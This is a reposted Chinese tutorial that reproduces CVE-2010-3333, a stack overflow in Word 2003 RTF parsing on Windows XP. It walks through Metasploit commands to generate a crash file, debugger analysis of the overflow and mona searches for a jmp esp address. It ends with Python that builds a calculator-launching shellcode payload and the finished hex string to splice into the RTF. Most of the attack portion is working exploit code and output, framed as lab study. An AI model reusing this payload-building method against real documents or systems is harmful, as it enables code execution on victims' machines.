安基网 首页 安全 攻防案例 查看内容

CVE-2010-3333漏洞复现-制作弹出计算器的poc

2020-4-1 16:59| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: 最近看CVE-2010-3333漏洞,便亲自动手做一个弹出计算器的POC。一、实验环境操作系统:Windows XP SP3简体中文版漏洞软件:Office Word 2003 11.5604.5606或者11.8169.8172调试工具:IDA Pro 6.8WinDbg 6.12.0002.633 X86Immunity Debugger v1.85首 ...

搜索公众号:暗网黑客

可领全套安全课程、配套攻防靶场


最近看CVE-2010-3333漏洞,便亲自动手做一个弹出计算器的POC。


一、实验环境


操作系统:Windows XP SP3简体中文版

漏洞软件:Office Word 2003 11.5604.5606或者11.8169.8172

调试工具:

IDA Pro 6.8

WinDbg 6.12.0002.633 X86

Immunity Debugger v1.85

首先Word版本一定要匹配,否则调试过程中的溢出地址不同。本实验中Word的版本为11.5604.5606,如图1所示。

图1 Word版本

注意Office更新包安装的情况,会对版本号有影响。


Microsoft Office产品的版本号使用下面的形式:aa.bbbb.cccc。此数字代表三个项目:aa:Office的版本:11即2003;12即2007;14即2010。

bbbb:程序的可执行文件的版本。

例如Winword.exe文件的版本。

cccc:mso.dll文件的版本。

在安装Office更新后,可能会更新mso.dll的版本,原始的mso.dll文件会备份到C:WindowsInstaller$PatchCache$Managed目录下。


本实验正确的mso.dll版本为11.0.5606.0(默认路径C:Program FilesCommonFilesMicrosoft Sharedoffice11mso.dll,文件的MD5值为:251c11444f614de5fa47ecf7275e7bf1),mso.dll文件版本如图2所示。

图2 mso.dll文件的版本

二、确定溢出点


首先使用Metasploit生成可以触发漏洞的rtf文件,命令如下所示。


也可以直接去相关论坛下载触发异常的rtf文件,本文使用Metasploit生成的msf_crash.rtf文件。

use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set target 6
exploit

打开Word,使用WinDbg附加Word进程,然后使用Word打开msf_crash.rtf文件,触发异常,程序断在0x30e9eb88,如图3所示,此时查看调用栈发现已被破坏。


图3 程序断在0x30e9eb88

再次重启Word,在0x30e9eb88处下断点,然后断下后,查看调用栈,如图4所示。

图4 查看调用栈

使用ub命令查看具体的调用函数,如图5所示。

图5 查看调用函数


根据上述分析我们可知函数调用关系(mso.dll版本为11.0.5606.0),如图6所示。mso.dll版本为11.0.8172.0时的情况如图7所示。


图6 函数调用关系图(mso.dll版本为11.0.5606.0)

图7 函数调用关系图(mso.dll版本为11.0.8172.0)


三、构造POC


在0x30E9EB88处下断点,然后查看栈中,如图8所示。


其中esi指向的位置为缓冲区开始位置;edi指向的位置为0x00233DC0,距离函数sub_30F4CC5D返回地址为20个字节。

图8 溢出时栈分析

此时再对比rtf文件中的内容,发生异常前在EIP=0x30e9eb83时,ECX=0xc8ac,然后执行逻辑右移指令shr ecx,2,0xc8ac/4=0x322b。因为是双字操作,所以除以4。


如图9所示,0xc8ac来源自文件中,esi对应的内容也来自文件中。


我们可以通过修改rtf文件控制复制的字节数和复制的内容,便可以覆盖返回地址,这是一个栈溢出漏洞。

图9 原始msf_crash.rtf文件

函数sub_30F4CC5D的尾声部分代码如图10所示,又弹出0×14字节,所以在构造poc时,要补上0×14个字节。

图10 函数sub_30F4CC5D尾声代码

根据上述分析我们可以构造出shellcode的布局,如图11所示。

图11 shellcode布局

首先找一个jmp esp的地址,我们可以选择0x7FFA4512(即魔法跳转地址,在Win7 32位以下版本中均指向jmp esp)。

也可以使用mona插件寻找一个合适的,本文使用mona插件寻找一个合适的地址。


首先使用!mona modules命令找到一个找到Rebase、SafeSEH、ASLR、NXCompat为False,而OS DLL为True的系统模块。


部分结果如下所示,我们选择OLEACC.dll模块。

0BADF00D聽 聽 Base聽 聽 聽 聽| Top聽 聽 聽 聽 | Size聽 聽 聽 聽| Rebase | SafeSEH | ASLR聽 | NXCompat | OS Dll | Version, Modulename & Path
0BADF00D聽 聽-----------------------------------------------------------------------------------------------------------------
0BADF00D聽 聽 0x74be0000 | 0x74c0c000 | 0x0002c000 | False聽 | False聽 聽| False |聽 False聽 聽| True聽 聽| 4.2.5406.0 [OLEACC.dll] (C:WINDOWSsystem32OLEACC.dll)
0BADF00D聽 聽 0x73390000 | 0x734e3000 | 0x00153000 | False聽 | False聽 聽| False |聽 False聽 聽| True聽 聽| 6.00.9802 [MSVBVM60.DLL] (C:WINDOWSsystem32MSVBVM60.DLL)
0BADF00D聽 聽 0x3b030000 | 0x3b0d9000 | 0x000a9000 | False聽 | False聽 聽| False |聽 False聽 聽| True聽 聽| 6.0.0.2527 [IMS**0A.IME] (C:WINDOWSsystem32IMS**0A.IME)

使用!mona assemble -s “jmp esp”命令生成jmp esp的机器码,机器码为xffxe4,如图12所示。

图12 mona生成jmp esp的机器码

然后使用!mona find -s “xffxe4″ -m OLEACC.dll命令搜索OLEACC.dll模块中jmp esp指令,结果如下所示。


搜索到2个结果,但是都是{PAGE_READONLY}。

0BADF00D聽 聽[+] Results :
74C04B1F聽 聽 聽0x74c04b1f : "xffxe4" |聽 {PAGE_READONLY} [OLEACC.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.2.5406.0 (C:WINDOWSsystem32OLEACC.dll)
74C074E7聽 聽 聽0x74c074e7 : "xffxe4" |聽 {PAGE_READONLY} [OLEACC.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.2.5406.0 (C:WINDOWSsystem32OLEACC.dll)


为了绕过DEP,我们需要找到可执行的地址,我们继续搜索MSVBVM60.DLL模块,结果如下所示,只有一个地址0x7344745D为可读可执行,我们选择0x7344745D为shellcode中使用的地址。

0BADF00D聽 聽[+] Results :
7344745D聽 聽 聽0x7344745d : "xffxe4" | asciiprint,ascii {PAGE_EXECUTE_READ} [MSVBVM60.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.9802 (C:WINDOWSsystem32MSVBVM60.DLL)
734B514B聽 聽 聽0x734b514b : "xffxe4" | asciiprint,ascii,alphanum {PAGE_READONLY} [MSVBVM60.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.9802 (C:WINDOWSsystem32MSVBVM60.DLL)
734B83CF聽 聽 聽0x734b83cf : "xffxe4" |聽 {PAGE_READONLY} [MSVBVM60.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.9802 (C:WINDOWSsystem32MSVBVM60.DLL)
734C2867聽 聽 聽0x734c2867 : "xffxe4" | asciiprint,ascii {PAGE_READONLY} [MSVBVM60.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.9802 (C:WINDOWSsystem32MSVBVM60.DLL)
734C2C13聽 聽 聽0x734c2c13 : "xffxe4" | ascii {PAGE_READONLY} [MSVBVM60.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.9802 (C:WINDOWSsystem32MSVBVM60.DLL)
734C82B3聽 聽 聽0x734c82b3 : "xffxe4" |聽 {PAGE_READONLY} [MSVBVM60.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.9802 (C:WINDOWSsystem32MSVBVM60.DLL)
0BADF00D聽 聽 聽 聽Found a total of 6 pointers


在查看rtf文件时,发现文件中直接存储的数据的ASCII,故在构造poc时要特别注意。

长度计算如下:40 + 8 + 40 + 23*2 = 134 = 0×86,故在shellcode中填写8600。


初步编写shellcode如下。

# 建立缓冲区
length = "8600"聽 聽 聽 聽 聽 聽 聽 聽 聽 # 复制长度
padding = "0" * 40聽 聽 聽 聽 聽 聽 聽 # 覆盖返回地址前的20个字节
padding2 = "0" * 40聽 聽 聽 聽 聽 聽 聽 # 平衡"rent 14"弹出的字节

# 返回地址
jmp_esp = "5D744473"聽 聽 聽 聽 聽 聽 # 返回地址用于jmp esp。0x7344745D。

# 计算器shellcode
shellcode = "x31xC9"聽 聽 聽 聽 聽 聽 聽 # xor ecx,ecx
shellcode += "x51"聽 聽 聽 聽 聽 聽 聽 聽 聽# push ecx
shellcode += "x68x63x61x6Cx63" # push 0x636c6163
shellcode += "x54"聽 聽 聽 聽 聽 聽 聽 聽 聽# push dword ptr esp
shellcode += "xB8xADx23x86x7C" # mov eax,0x7c8623AD聽
shellcode += "xFFxD0"聽 聽 聽 聽 聽 聽 聽# call eax 调用WinExec

# 退出代码。调用ExitProcess(kernel32.dll)
shellcode += "xB8xFAxCAx81x7C" # mov eax,0x7c81CAFA
shellcode += "xFFxD0"聽 聽 聽 聽 聽 聽 聽# call eax

# 构建exploit
exploit = length + padding + jmp_esp + padding2 + shellcode

file = open('payload.txt','w')
file.write(exploit)
file.close

将生成的payload.txt中的所有内容粘贴覆盖原文件中的acc8。

在0x30e9eb88处下断点


如图13所示,shellcode中的0x7344745D在内存中被破坏,后面的shellcode也被破坏,难道shellcode中存在坏字符?

图13 shellcode中的大写字母在内存中被破坏

经查阅资料和实际验证,在shellcode中所有的英文字母必须为小写。修改后shellcode如下所示。

# 建立缓冲区
length = "8600" # 复制长度
padding = "0" * 40 # 覆盖返回地址前的20个字节
padding2 = "0" * 40 # 平衡"rent 14"弹出的字节

# 返回地址
jmp_esp = "5d744473" # 返回地址用于jmp esp。0x7344745D。

# 计算器shellcode
shellcode = "31c9" # xor ecx,ecx
shellcode += "51" # push ecx
shellcode += "6863616c63" # push 0x636c6163
shellcode += "54" # push dword ptr esp
shellcode += "b8ad23867c" # mov eax,0x7c8623AD
shellcode += "ffd0" # call eax 调用WinExec

# 退出代码。调用ExitProcess(kernel32.dll)
shellcode += "b8faca817c" # mov eax,0x7c81CAFA
shellcode += "ffd0" # call eax

# 构建exploit
exploit = length + padding + jmp_esp + padding2 + shellcode

file = open('payload.txt','w')
file.write(exploit)
file.close

生成的payload.txt共有138个字节,文件内容如下。

860000000000000000000000000000000000000000005d744473000000000000000000000000000000000000000031c9516863616c6354b8ad23867cffd0b8faca817cffd0

复制生成的payload.txt中的文件内容,覆盖原文件中的acc8,修改后的rtf文件如图14所示。

使用Word打开rtf文件即可成功弹出计算器。

图14 添加payload后的rtf文件

作者:dolphin

转载自:https://www.freebuf.com/vuls/230461.html




小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6810557097978102276/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部